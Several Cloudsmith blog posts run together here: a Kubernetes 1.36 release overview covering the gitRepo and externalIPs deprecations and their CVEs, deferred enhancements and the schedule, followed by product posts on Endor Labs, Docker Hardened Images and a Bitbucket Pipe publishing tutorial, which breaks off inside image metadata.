[#5040](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+stage%3ADeprecation%2FRemoval&pane=issue&itemId=150462223&issue=kubernetes%7Cenhancements%7C5040) _Remove gitRepo volume driver  
_**Stage:** Deprecation/Removal  
**Feature group:** sig-storage

The planned removal of the `gitRepo` volume driver in Kubernetes 1.36 marks the end of a long-deprecated feature that has become a significant security liability. Although it was designed to provide a convenient way to manifest Git repository files into a Pod, the driver’s implementation requires the kubelet to run as root. This architectural flaw was highlighted under [**CVE-2024-10220**](https://support.huaweicloud.com/eu/bulletin-cce/CVE-2024-10220.html), where researchers demonstrated how an attacker could use Git hooks within a malicious repository to execute arbitrary code on the host node with root privileges. Given that the feature has been deprecated for nearly five years and presents such a critical [**escape-to-host**](https://attack.mitre.org/techniques/T1611/) risk, the community has pivoted toward a complete removal of the in-tree driver to ensure the platform is secure by default.

For users still relying on `gitRepo` volumes, the migration path is well-established and significantly more robust. The Kubernetes project recommends using an `emptyDir` volume in conjunction with an `initContainer` to clone the repository, or utilising the dedicated [**git-sync**](https://github.com/kubernetes/git-sync) sidecar project. These alternatives offer better isolation, support for modern authentication, and frequent updates that the legacy in-tree driver lacked. While the removal represents a breaking change, the timeline (stretching through [**1.36 and beyond**](https://docs.google.com/document/d/1sUx65kAm1EMXpAhPycMApoNDTKAQR2vGP7yz88jKDSE/edit?tab=t.0#heading=h.wdpnkuhh2ody)) provided a structured window for cluster administrators to implement Validating Admission Policies ([**VAP**](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/)) to identify and migrate any remaining workloads before the driver is fully purged from the kubelet.



[#5707](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+stage%3ADeprecation%2FRemoval&pane=issue&itemId=153946843&issue=kubernetes%7Cenhancements%7C5707) _Deprecate service.spec.externalIPs  
_**Stage:** Deprecation/Removal  
**Feature group:** sig-network

The deprecation of `service.spec.externalIPs` in Kubernetes 1.36 is the direct result of a long-standing design flaw identified as [**CVE-2020-8554**](https://www.sysdig.com/blog/detect-cve-2020-8554-using-falco). This vulnerability exposed a fundamental security gap in multi-tenant clusters: any user with basic permissions to create or edit a Service could claim an arbitrary IP address (including those of internal DNS servers or external websites) by simply listing them in the `externalIPs` field. Because `kube-proxy` would then blindly program the cluster's network rules to redirect traffic for those IPs to the attacker’s pods, it enabled high-impact **Man-in-the-Middle (MitM)** attacks and unauthorised traffic interception without requiring high-level administrative privileges.

While the community initially addressed this risk through external mitigations like the `DenyServiceExternalIPs` admission controller and OPA Gatekeeper policies, these were essentially band-aids for a feature that lacked native validation or authorisation. The 1.36 deprecation finally marks the beginning of the end for this architectural debt, moving from optional blocking to a formal phased removal. By transitioning users toward modern alternatives like the [**Gateway API**](https://kubernetes.io/docs/concepts/services-networking/gateway/) or [**LoadBalancer services**](https://kubernetes.io/docs/concepts/services-networking/service/#loadbalancer), Kubernetes is finally stripping out the underlying code in kube-proxy that made the CVE-2020-8554 exploit possible, effectively hardening the cluster networking model by default.



## **Deferred / Removed from Milestone**

[#5507](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-enhancement-type%3ADocs+prr-status%3A%22Removed+from+milestone%22&pane=issue&itemId=151173018&issue=kubernetes%7Cenhancements%7C5507) _Container Resource Controls for OOM Behaviour  
_**Stage:** Net New to Alpha  
**Feature group:** sig-node  
**Status:** Deferred

As the title of the enhancement suggests, this KEP proposes a way to configure how the Linux kernel handles **Out-of-Memory (OOM)** events at the container level, specifically allowing users to choose between killing only the offending process (`Single`) or the entire container group (`Group`). The feature would've introduced an `oomKillMode` to the Container spec to leverage cgroup v2's `memory.oom.group` setting.

The enhancement was deferred in **v1.36** because the proposal required more discussion regarding its API design, specifically whether it should also apply at the pod level and how to handle compatibility across different environments like cgroup v1 or Windows. The author, [**utam0k**](https://github.com/utam0k), opted to skip the v1.36 release cycle to address maintainer feedback and because the **PRR** (Production Readiness Review) deadline was too close for the remaining open architectural questions.



[#5869](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-enhancement-type%3ADocs+prr-status%3A%22Removed+from+milestone%22&pane=issue&itemId=154179616&issue=kubernetes%7Cenhancements%7C5869) _Wildcard Matching in Toleration Keys  
_**Stage:** Net New to Alpha  
**Feature group:** sig-scheduling  
**Status:** Deferred

This enhancement proposes adding wildcard matching (for example `key: "readiness.k8s.io/*"`) to Kubernetes pod tolerations, allowing a single pod to match multiple node taints without listing them individually.

The KEP was put on hold because [**KEP-5500**](https://github.com/kubernetes/enhancements/pull/5822) (CEL for Taint Toleration Matching) was introduced simultaneously; reviewers determined that using CEL offers a more powerful and generic solution that covers wildcard use cases and more, making a specific wildcard-only implementation redundant. Additionally, concerns were raised regarding rollback risks, specifically that disabling the feature could cause mass evictions or prevent controllers from creating new pods if they already utilised the wildcard syntax.



[#1432](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-enhancement-type%3ADocs+prr-status%3A%22Removed+from+milestone%22&pane=issue&itemId=150462042&issue=kubernetes%7Cenhancements%7C1432) _Persistent Volume Health Monitor  
_**Stage:** Net New to Alpha  
**Feature group:** sig-storage  
**Status:** Removed from Milestone

The PV Health Monitor was designed to provide a mechanism for monitoring the health status of Persistent Volumes. It allows the system to detect if a volume has become unhealthy or degraded and then "mark" that status, enabling users or automated controllers to take corrective action.

The enhancement was removed from the v1.36 milestone because it failed to meet the PRR freeze deadline on February 5, 2026. To stay in the release cycle, an enhancement generally must have a PR open or merged that includes things like a completed PRR questionnaire, the updated kep.yaml files reflecting the target milestone and an assigned PRR approver. Since these requirements weren't met by the cutoff, the Release Team cleared the milestone and simply labeled the issue as tracked/no.

The other KEPs that were removed from the milestone are:





[#5773](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-enhancement-type%3ADocs+prr-status%3A%22Removed+from+milestone%22&pane=issue&itemId=151444801&issue=kubernetes%7Cenhancements%7C5773) _DRA: Priority for ResourceSlices in a resource pool  
_**Stage:** Alpha  
**Feature group:** sig-storage  
**Status:** Removed from Milestone



[#24](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-enhancement-type%3ADocs+prr-status%3A%22Removed+from+milestone%22&pane=issue&itemId=150891956&issue=kubernetes%7Cenhancements%7C24) _AppArmor support  
_**Stage:** Stable  
**Feature group:** sig-node  
**Status:** Removed from Milestone



[#5194](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-enhancement-type%3ADocs+prr-status%3A%22Removed+from+milestone%22&pane=issue&itemId=151172984&issue=kubernetes%7Cenhancements%7C5194) _DRA: ReservedFor Workloads  
_**Stage:** Alpha  
**Feature group:** sig-storage  
**Status:** Removed from Milestone



[#5234](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-enhancement-type%3ADocs+prr-status%3A%22Removed+from+milestone%22&pane=issue&itemId=151172988&issue=kubernetes%7Cenhancements%7C5234) _DRA: ResourceSlice Mixins  
_**Stage:** Alpha  
**Feature group:** sig-storage  
**Status:** Removed from Milestone



[#5683](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-enhancement-type%3ADocs+prr-status%3A%22Removed+from+milestone%22&pane=issue&itemId=151173040&issue=kubernetes%7Cenhancements%7C5683) Specialised_ Lifecycle Management  
_**Stage:** Net New to Alpha  
**Feature group:** sig-node  
**Status:** Removed from Milestone

****

## **Timeline of v.1.36 Kubernetes Release**

Kubernetes users can expect the [**v1.36 release process**](https://www.kubernetes.dev/resources/release/) to unfold throughout **April 2026**, with past milestones including the start of the cycle on January 12th and the **Enhancements Freeze** on February 12th. Upcoming technical milestones involve the creation of the release-1.36 branch on April 8th, following the **Code and Test Freeze** on March 11th. The process culminates in the official v1.36.0 release on Wednesday, April 22nd, 2026, notably following the community's gathering at [**KubeCon Amsterdam**](https://cloudsmith.com/events/in-person-events/kceu26) in late March.

```json
{
  "_key": "dbdf2c03fb4d",
  "_type": "tableBlock",
  "caption": "Kubernetes 1.36 release schedule",
  "firstRowIsHeader": true,
  "markDefs": null,
  "table": {
    "rows": [
      {
        "_key": "f8d0cc7b-e249-4c95-be19-691bb49c9516",
        "_type": "tableRow",
        "cells": [
          "What is happening?",
          "By whom?",
          "And when?"
        ]
      },
      {
        "_key": "1de2cc4d-3314-489b-af99-215221242d5f",
        "_type": "tableRow",
        "cells": [
          "Release Cycle Begins",
          "Lead",
          "Monday 12th January 2026"
        ]
      },
      {
        "_key": "62bdd004-ba21-4e8a-a0e5-1d3889aefa54",
        "_type": "tableRow",
        "cells": [
          "v1.36.0-alpha.1 released",
          "Branch Manager",
          "Wednesday 4th February 2026"
        ]
      },
      {
        "_key": "2b2e9fff-7dba-4233-911d-f40e33745cce",
        "_type": "tableRow",
        "cells": [
          "Enhancements Freeze",
          "Enhancements Lead",
          "Thursday 12th February 2026"
        ]
      },
      {
        "_key": "928a4786-0adb-49ff-9dfb-3d15964a4b80",
        "_type": "tableRow",
        "cells": [
          "v1.36.0-alpha.2 released",
          "Branch Manager",
          "Wednesday 18th February 2026"
        ]
      },
      {
        "_key": "e67bb883-6900-43d3-b950-4d865f603560",
        "_type": "tableRow",
        "cells": [
          "Code & Test Freeze",
          "Branch Manager",
          "Wednesday 11th March 2026"
        ]
      },
      {
        "_key": "70159e82-e7c4-4826-a1d3-51c3caafa7fe",
        "_type": "tableRow",
        "cells": [
          "Kubecon Amsterdam",
          "CNCF Event",
          "Monday 23rd March 2026"
        ]
      },
      {
        "_key": "58319394-b3fb-44e9-af31-e10c17ba3a59",
        "_type": "tableRow",
        "cells": [
          "release-1.36 branch created",
          "Branch Manager",
          "Wednesday 8th April 2026"
        ]
      },
      {
        "_key": "6705eba7-9e27-43e7-a15f-d4a62d56abfd",
        "_type": "tableRow",
        "cells": [
          "Kubernetes v1.36.0 released",
          "Branch Manager",
          "Wednesday 22nd April 2026"
        ]
      }
    ]
  }
}
```

## **Kubernetes Release Archive**

- [**Kubernetes 1.36 – What you need to know**](https://cloudsmith.com/blog/kubernetes-1-36-what-you-need-to-know)
- [**Kubernetes 1.35 – What you need to know**](https://cloudsmith.com/blog/kubernetes-1-35-what-you-need-to-know)
- [**Kubernetes 1.34 – What you need to know**](https://cloudsmith.com/blog/kubernetes-1-34-what-you-need-to-know)
- [**Kubernetes 1.33 – What you need to know**](https://cloudsmith.com/blog/kubernetes-1-33-what-you-need-to-know)  


The software supply chain is more complex than ever. Open source, containers, and now AI models form a growing and complex web of package dependencies that power software development. Developers have a lot of options and flexibility when building software, but this convenience also comes with risk. More dependencies expand the attack surface of a build and create long remediation cycles.



Vulnerabilities often emerge after something is already in production. Efficient remediation requires a strategy that balances two critical needs: intelligence and control. Your ability to maintain applications and reduce the impact of vulnerabilities requires you to 1. know what to do, and 2. have the right tools to do it.



Let’s look at a strategy that helps engineering teams build, secure, and ship software faster and more safely. We’ll see how Endor Labs provides the intelligence and Cloudsmith provides the point of control to efficiently remediate software vulnerabilities.

## Package triage: Endor Labs

It’s not enough to simply know that vulnerabilities exist. You need to understand the different ways to remediate those vulnerabilities and the impact those fix options may have. Endor Labs provides the deep analysis required to understand what is actually happening inside your code.

- **Software mapping**: It builds a complete graph of your software, including source code, dependencies, and container images.
- **Context-aware risk**: Rather than just listing vulnerabilities, it uses 150+ risk signals, like maintainer activity and security practices, to help you decide which components to trust.
- **Function-level reachability analysis**: It identifies which vulnerabilities are truly reachable at the function level, allowing teams to ignore the ‘noise’ and focus only on risks that can actually be exploited.
- [**Upgrade impact analysis**](): Another layer of technical decision-making, this lets developers see the downstream impact of each upgrade option, anticipate breaking changes, and plan accordingly.

## Package control: Cloudsmith

Once you identify your preferred fix with Endor Labs, you can use Cloudsmith as a ‘point of control’ and the single source of truth for your software artifacts.

- **Centralized governance**: It provides the system of record to curate, proxy, and inspect every package and container your developers use.
- **Automated security: **Cloudsmith scans packages when they first enter the platform by default. [Policy management capabilities]() let developers establish clear guardrails around package management. Built on industry-standard Open Policy Agent ([OPA]()) and using its declarative language Rego, policy management from Cloudsmith provides policy-as-code flexibility and scalability within your Cloudsmith repositories. Cloudsmith [continuously monitors data feeds]() on vulnerabilities to quickly identify new threats and emerging risks to the artifacts in your repository.
- **Resilient delivery**: It caches and secures every dependency, protecting your builds from public registry outages and ensuring every developer works with the same verified tools.

The overarching strategy is as follows: Endor Labs analyzes your codebase, identifying what vulnerabilities exist, the potential impact remediation will have, and where in your source code to address them. When implementing updates to fix those vulnerabilities, Cloudsmith provides a centralized and governed environment of managed artifacts, ensuring secure and consistent build processes across your entire organization.

## Secure the AI software supply chain



The emerging AI software supply chain introduces even more complexity and potential conflicts and vulnerabilities to the software development lifecycle. But pairing Cloudsmith and Endor Labs extends to this area of development, too. They bring the same principles of open-source governance to the rapidly evolving world of AI models, MCP servers, and other AI dependencies.



Cloudsmith features an [ML model registry](), which brings standard software supply chain governance to AI/ML workflows. Proxy and host AI artifacts, like Hugging Face models and other ML package formats, just like you would with non-AI artifacts. Managing your AI/ML models alongside your code helps to eliminate blind spots and ensure consistent security and access controls across your environment.

Endor Labs applies governance and security controls to the code that integrates these AI/ML models. It gives you visibility into model provenance and risk factors that you can enforce with organizational policies. This includes the ability to report AI components in your SBOM.



## Close the loop on software supply chain security



Cloudsmith ensures you consume secure and policy-compliant artifacts at the registry level, while Endor Labs provides deep code analysis, risk prioritization, and remediation workflows. Together, they keep applications and development teams working efficiently by reducing vulnerability noise, eliminating exploitable risks faster, and letting engineering teams focus on building quickly without sacrificing security.



With Cloudsmith and Endor Labs, security is built into every artifact your team consumes and every line of code you ship.



Choosing a secure container base image has historically been a game of compromise between costs, tooling, and operational overhead. You either pay for premium images, struggle with the “tooling gap” of minimalist distroless builds, or drown your team in the manual labor of constant patching.



Docker is changing this equation by making its [Docker Hardened Images (DHI) catalog–over 1,000 minimal, high-integrity images–freely available](https://www.docker.com/blog/docker-hardened-images-for-every-developer/). But while the images are free, operationalizing them at scale across a massive engineering org is not.



That is where the combination of Docker and Cloudsmith becomes a cheat code for developers and security teams working at enterprise scale.

## The developer advantage: Better ingredients, less prep

For a developer, a Docker Hardened Image isn't just more secure. It’s an evolutionary step forward that better protects against software supply chain threats and risks. DHIs arrive pre-patched and stripped of the bloatware found in typical images. They offer developers:

- **Speed**: These images are smaller, meaning they move across the network fast and start up in seconds.
- **Automated hygiene**: Docker handles the continuous patching of DHIs, monitoring upstream sources so you don’t have to.
- **Audit-ready**: Every DHI includes a [Software Bill of Materials (SBOM)](https://cloudsmith.com/blog/understanding-and-implementing-a-software-bill-of-materials) and [SLSA](https://cloudsmith.com/blog/slsa-a-route-to-tamper-proof-builds-and-secure-software-provenance) Level 3 provenance. You get traceable security data from the very first layer of your build.

## The Cloudsmith difference: One endpoint, zero sprawl

Most other artifact managers force you into repository sprawl. If you want to add a new source like DHIs, you’re stuck creating a new remote repository, a new local cache, and a new virtual repository to tie them together. Then, you have to hunt down every CI pipeline and developer config to update the endpoints.



This isn't just an operational challenge, it’s a security bottleneck. When the path to better security requires a manual overhaul of your internal infrastructure, adoption stalls. This friction often forces organizations to stick with "good enough" images, leaving them unnecessarily exposed to vulnerabilities that DHIs are designed to eliminate.



We architected Cloudsmith differently. Our repositories are natively multi-format and upstream-aware. Adding Docker Hardened Images isn't a migration project. It’s a natural extension of your current setup.

### How it works in practice:

1. **Zero pipeline changes**: [Add](https://docs.cloudsmith.com/integrations/integrating-with-docker-hardened-images) DHI as an authenticated upstream source in Cloudsmith. Developers and build agents continue pulling from the same Cloudsmith URL they already use.
2. **Automated logic**: Keep your existing Docker Hub upstream in place. Cloudsmith handles the authentication, caching, and routing behind the scenes.
3. **One URL**: Continue using the same Cloudsmith repository URL you already have. You can keep your existing Docker Hub upstream active alongside DHI. Cloudsmith acts as the single, intelligent integration point between your stack and the outside world.



Cloudsmith lets you treat DHIs as just another upstream source rather than a special case project. From a developer and CI perspective, nothing changes. That means you eliminate the friction that usually kills security initiatives because behind the scenes, Cloudsmith handles the authentication, caching, and routing automatically. You get to enforce a hardened organizational standard without touching a single developer’s **`.docker/config.json`**.

## Turning hardened images into an organizational standard

When DHIs flow through Cloudsmith, they become part of your controlled software supply chain. By supplying developers with base images via Cloudsmith, in addition to recommending better security, you provide a default environment that includes:

- **Consistency**: Every team builds from the same approved, cached base images.
- **Visibility**: You know exactly which images developers use and where they originated.
- **Control**: Security teams can apply policies that govern image usage without breaking the build.

## Solving the coordination tax and rate-limit surprises

While DHIs are free of charge, they require authenticated access. For a single developer, this is a non-issue. At an organizational level, managing credentials for hundreds of build agents and thousands of CI pipelines is a nightmare.

### The secret handshake: Centralized authentication

Cloudsmith becomes the single integration point between your organization and Docker Hub.

- **No credential sprawl**: You store your organization’s Docker Hub credentials in Cloudsmith once. Your developers and build agents then authenticate directly to Cloudsmith.
- **Unified access**: You avoid pushing configuration changes and tokens out to every individual client.

### Reliability: Caching and rate limits

Docker Hub enforces strict pull rate limits. In a large CI/CD environment, you can hit these limits in minutes, breaking your builds.

- **Advanced caching**: Cloudsmith automatically caches requested DHIs.
- **Zero surprises**: Once an image is in your private repo, Cloudsmith serves future pulls directly from our global edge network. This should reduce or eliminate rate limiting issues.

## Closing thoughts

DHI and Cloudsmith both offer significant intrinsic benefits, and even more power lies in the ease of their integration. Because Cloudsmith handles DHIs like any other upstream source, developers can configure their pipelines once and deploy at scale without disrupting their existing workflows. In short, Docker makes DHIs secure; Cloudsmith makes them easier to consume across an enterprise.



The result is a 'security win' by default that serves the entire engineering organization. By adopting these stronger defaults with zero added operational drag, teams can finally align their velocity with their security standards. Developers get to work with faster, higher-quality tools, while the organization gains a hardened, verifiable security posture. Together, we’re building a more trustworthy ecosystem where security isn't an external hurdle–it’s a built-in feature of the craft.



Achieving a secure supply chain shouldn't require a total re-architecture of your artifact repositories. See how Cloudsmith’s upstream-aware repositories can consolidate your Docker Hub, DHI, and internal images into a single, high-performance endpoint. [Book a technical deep-dive](https://cloudsmith.com/book-a-demo) to see our architecture in action.

At Cloudsmith, our mission is to make it as easy and straightforward as possible to get your packages into our system from where you can manage and distribute them to your heart's content.

To this end, we recently spent some time with Atlassian's Bitbucket team at [AppWeek in Berlin](http://go.atlassian.com/awspace) to build a [Bitbucket Pipe](https://confluence.atlassian.com/bitbucket/pipes-958765631.html) that makes it simple for Bitbucket users to easily turn their source code into distributable packages and deploy to Cloudsmith in just a few lines of YAML.

> _Put that in your pipe and ship it._

## How it works

Pipes build on top of Bitbucket's excellent [Pipelines](https://bitbucket.org/product/features/pipelines) functionality which allows users to automate their build and deploy processes, whatever form they may take.

Bitbucket Pipes are, at their simplest, the combination of a Docker container and some YAML-formatted configuration. Pipes are designed to remove what would otherwise be repeated or verbose configuration from a user's pipeline. Pipes can be shared across repositories or organisations and make many common tasks almost trivial.

### Using Pipelines

The Cloudsmith pipe is included in Bitbucket's collection of officially maintained pipes and is available by default for any user that wishes to include it in their pipeline.

To use the pipe you'll first need an application or library that can be packaged into one of the formats that Cloudsmith support. You can see examples of Python and Javascript libraries in [Cloudsmith's Bitbucket account](https://bitbucket.org/cloudsmith-io/).

For the purposes of this example we'll assume you're using the Python example from the link above.

First, ensure that you can package your code using a Bitbucket pipeline by editing `bitbucket-pipelines.yml` in your repository. You can do so either via Bitbucket's web UI or using your normal editor and Git workflow.

For the example library, a basic pipeline that builds a package when a new tag is created looks like so:

```json
{
  "_key": "b84b268143e2",
  "_type": "code",
  "code": "image:\n  name: atlassian/default-image:2\n\nbuild: &build\n  step:\n    name: Build Python Package\n    image: python:3.7\n    script:\n    - python setup.py sdist\n    artifacts:\n    - dist/**\n\npipelines:\n  tags:\n    release-*:\n    - <<: *build",
  "filename": null,
  "language": "text",
  "markDefs": null
}
```

This pipeline will build a new package each time you push an appropriate tag you your Bitbucket repository. The built package is then discarded as we have not yet added further instructions to tell Bitbucket what to do with it.

### Configuring the Pipe

Next we'll add publish the package to Cloudsmith using our official pipe. We'll need to provide an API Key that the pipe can use to authenticate with Cloudsmith. You can find the official documentation for pipeline variables in the [Bitbucket documentation](https://confluence.atlassian.com/bitbucket/variables-in-pipelines-794502608.html).

The API Key should be added as a "secure" variable (so it doesn't leak into logs) with the name `CLOUDSMITH_API_KEY`.

```json
{
  "_key": "36b0072d52dd",
  "_type": "image",
  "alt": null,
  "asset": {
    "_createdAt": "2025-06-05T07:57:57Z",
    "_id": "image-17ac024985aa121ff59058a42f5cb76e49a150fe-1938x650-png",
    "_rev": "2MVa2LY6RC9Yy6hPJdh5s2",
    "_type": "sanity.imageAsset",
    "_updatedAt": "2025-06-05T07:57:57Z",
    "assetId": "17ac024985aa121ff59058a42f5cb76e49a150fe",
    "extension": "png",
    "metadata": {
      "_type": "sanity.imageMetadata",
      "blurHash": "D5SF@VSj?b~q^+tnRk%Mxt-:",
      "dimensions": {
        "_type": "sanity.imageDimensions",
        "aspectRatio": 2.9815384615384617,
        "height": 650,
        "width": 1938
      },
      "hasAlpha": true,
      "isOpaque": true,
      "lqip": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsSAAALEgHS3X78AAABHklEQVR4nFVR7Y7DIAzr+7/lTdXabS2Ur0II4FPSSrv7YSUKieOYKVMD94FSCO+PwWNe8TOvWF4bQkgoRDcqSqlX1JwUWWqFQLWitY7JJQZxBxFjMx7zsuHx/GBedqxvi804GOtgDw9jPYzEO7dHuOHhQ0KtjMknRuWOooQB87pjXozi+TJ4fYT0wG7cBRuw2YjdRjifEGKCjwlnLpfCszS0NkCVYV1URbrVRcXhApyPqkARM3w8NaZckPVsQmVG7x1TOBnMHcwN6cyIKSNn8efyKstQLl8fpfaHhFu7wKw+TlEIW1e5IjvEEykJQdUl0kRU1Z/W5JqmubyJojGGRqnJkol5YAyg96EF8URIhVCW/CeQ4Yvgmw/tk0+VmV/27x8j7xNakgAAAABJRU5ErkJggg==",
      "palette": {
        "_type": "sanity.imagePalette",
        "darkMuted": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#4c4c4c",
          "foreground": "#fff",
          "population": 0,
          "title": "#fff"
        },
        "darkVibrant": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#28335c",
          "foreground": "#fff",
          "population": 0,
          "title": "#fff"
        },
        "dominant": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#acb4d7",
          "foreground": "#000",
          "population": 0.48,
          "title": "#fff"
        },
        "lightMuted": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#acb4d7",
          "foreground": "#000",
          "population": 0.48,
          "title": "#fff"
        },
        "lightVibrant": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#bcd4fc",
          "foreground": "#000",
          "population": 0,
          "title": "#000"
        },
        "muted": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#737c84",
          "foreground": "#fff",
          "population": 0.05,
          "title": "#fff"
        },
        "vibrant": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#8e9cce",
          "foreground": "#000",
          "population": 0.02,
          "title": "#fff"
        }
      }
    },
    "mimeType": "image/png",
    "originalFilename": "bitbucket_cloudsmith_api_key.png",
    "path": "images/rafvlnhi/production/17ac024985aa121ff59058a42f5cb76e49a150fe-1938x650.png",
    "sha1hash": "17ac024985aa121ff59058a42f5cb76e49a150fe",
    "size": 91464,
    "uploadId": "q5Ue6EyKqz4hQULjIJGilbu3tF1J2517",
    "url": "https://cdn.sanity.io/images/rafvlnhi/production/17ac024985aa121ff59058a42f5cb76e49a150fe-1938x650.png"
  },
  "caption": null,
  "link": null,
  "markDefs": null
}
```

Once authentication is configured, you can add the pipe configuration to your pipeline.

If using the web UI to configure your pipeline, you can select the Cloudsmith pipe right from your browser, from within the list of supported pipes as in the image below:

```json
{
  "_key": "3318854f7732",
  "_type": "image",
  "alt": null,
  "asset": {
    "_createdAt": "2025-06-05T07:57:56Z",
    "_id": "image-fcfae07021137502ffe72a588b90c2c88c499ea5-2000x943-png",
    "_rev": "2MVa2LY6RC9Yy6hPJdh5Ra",
    "_type": "sanity.imageAsset",
    "_updatedAt": "2025-06-05T07:57:56Z",
    "assetId": "fcfae07021137502ffe72a588b90c2c88c499ea5",
    "extension": "png",
    "metadata": {
      "_type": "sanity.imageMetadata",
      "blurHash": "M5Ss52~W4oM|xu_3IVRiM|t7D*s,bI-pRj",
      "dimensions": {
        "_type": "sanity.imageDimensions",
        "aspectRatio": 2.1208907741251326,
        "height": 943,
        "width": 2000
      },
      "hasAlpha": true,
      "isOpaque": true,
      "lqip": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsSAAALEgHS3X78AAABIElEQVR4nI2Sy2rFMAxE8/9f2GUXhVJoEz8kW35lyiiLXmh6qWFIENHJaKwtRsERMkIUpCRIWVFqQ+vjRh0iBewRNVTrqNZgfNYG0Yot5YIQxIE5C7RU9D6w1vqlMSeyFOxHQkzqAKVKRdaKI2ZsLByH4GtPSDnDzLz57qx1Qos5MMTswFIMpZrXYxJspVzAfU8QVfTecZ7nLZB1Nu9HdNGZtY7mGj7+dmWiyPln1L8OgWyiO7qp1TzbMaaL7z6yKoMl7N7ZI9CsIYt6dnQ3xvS+OZdf2sYPWJzrxHMcM1w+cgiXQ+bHqeZaF7AR2Brm5F94k+dTsYkjc7V421wVupTSETLXxrAxBw+2/0Pt2jvuqcOsQWvD24fi5TXh/VPxDRoPwBSYx8PKAAAAAElFTkSuQmCC",
      "palette": {
        "_type": "sanity.imagePalette",
        "darkMuted": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#444b55",
          "foreground": "#fff",
          "population": 0.03,
          "title": "#fff"
        },
        "darkVibrant": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#1644b9",
          "foreground": "#fff",
          "population": 0.01,
          "title": "#fff"
        },
        "dominant": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#2d61ca",
          "foreground": "#fff",
          "population": 0.16,
          "title": "#fff"
        },
        "lightMuted": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#adafce",
          "foreground": "#000",
          "population": 0.07,
          "title": "#fff"
        },
        "lightVibrant": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#9db0ec",
          "foreground": "#000",
          "population": 0.02,
          "title": "#fff"
        },
        "muted": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#606980",
          "foreground": "#fff",
          "population": 0.11,
          "title": "#fff"
        },
        "vibrant": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#2d61ca",
          "foreground": "#fff",
          "population": 0.16,
          "title": "#fff"
        }
      }
    },
    "mimeType": "image/png",
    "originalFilename": "cloudsmith_bitbucket_pipeline.png",
    "path": "images/rafvlnhi/production/fcfae07021137502ffe72a588b90c2c88c499ea5-2000x943.png",
    "sha1hash": "fcfae07021137502ffe72a588b90c2c88c499ea5",
    "size": 243096,
    "uploadId": "qTmiAIOXZQWch3JnhsO4Ie9zUa0CW2lY",
    "url": "https://cdn.sanity.io/images/rafvlnhi/production/fcfae07021137502ffe72a588b90c2c88c499ea5-2000x943.png"
  },
  "caption": null,
  "link": null,
  "markDefs": null
}
```

If using your local editor, you can follow the instructions in the [official README on Bitbucket](https://bitbucket.org/cloudsmith-io/publish).

Once added, your pipeline YAML should look something like so:

```json
{
  "_key": "6db63f6f5c45",
  "_type": "code",
  "code": "image:\n  name: atlassian/default-image:2\n\nbuild: &build\n  step:\n    name: Build Python Package\n    image: python:3.7\n    script:\n    - python setup.py sdist\n    artifacts:\n    - dist/**\n\npublish: &publish\n  step:\n    name: Publish Python Package\n    script:\n    - pipe: cloudsmith-io/publish:0.1.1\n      variables:\n        CLOUDSMITH_REPOSITORY: 'cloudsmith/examples'\n        CLOUDSMITH_API_KEY: $CLOUDSMITH_API_KEY\n        PACKAGE_FORMAT: 'python'\n        PACKAGE_PATH: 'dist/*.tar.gz'\n\npipelines:\n  tags:\n    release-*:\n    - <<: *build\n    - <<: *publish",
  "filename": null,
  "language": "text",
  "markDefs": null
}
```

This configuration instructs the pipe to push artifacts to the [cloudsmith/examples](https://cloudsmith.io/~cloudsmith/repos/examples/packages/) repository, with the API key we stored earlier. We're uploading a `python` package which is located at `dist/*.tar.gz`.

### Using the Pipe

And that's it! Your pipe is now configured and ready to run. You should be able to push a new tag to Bitbucket and see your pipe run.

Bitbucket's pipeline UI provides a great overview of the status of your jobs:

```json
{
  "_key": "3c4a8db1936b",
  "_type": "image",
  "alt": null,
  "asset": {
    "_createdAt": "2025-06-05T07:57:56Z",
    "_id": "image-c53d017dd822d85b4a96914878ef3f42901c49c0-1494x824-png",
    "_rev": "2MVa2LY6RC9Yy6hPJdh5YC",
    "_type": "sanity.imageAsset",
    "_updatedAt": "2025-06-05T07:57:56Z",
    "assetId": "c53d017dd822d85b4a96914878ef3f42901c49c0",
    "extension": "png",
    "metadata": {
      "_type": "sanity.imageMetadata",
      "blurHash": "M~KUp5~qRjIUt7R%WUfRj]juRjR*jtoLj[",
      "dimensions": {
        "_type": "sanity.imageDimensions",
        "aspectRatio": 1.8131067961165048,
        "height": 824,
        "width": 1494
      },
      "hasAlpha": true,
      "isOpaque": true,
